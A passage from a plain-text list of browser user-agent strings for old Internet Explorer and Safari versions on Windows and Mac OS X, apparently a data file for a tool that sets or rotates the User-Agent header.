2.0.50727) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.7.58687; SLCC2; Media Center PC 5.0; Zune 3.4; Tablet PC 3.6; InfoPath.3) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.1.76908; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0) Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) # Safari Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6) AppleWebKit/531.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.1 Safari/525.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-gb) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.7 (KHTML, like Gecko) Version/3.1 Safari/525.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; it-it) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; hu-hu) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nb-no) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; hr-hr) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.8+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nb-no) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit/531.22.7 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC-P715a; en-ca) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; th-th) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; sv-se) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/521.32.1 (KHTML, like Gecko) Safari/521.32.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.5+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.9+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/419.2.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-es) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-IT) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ko-kr) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-tw) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS; en-en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; pl-pl) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fi-fi) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 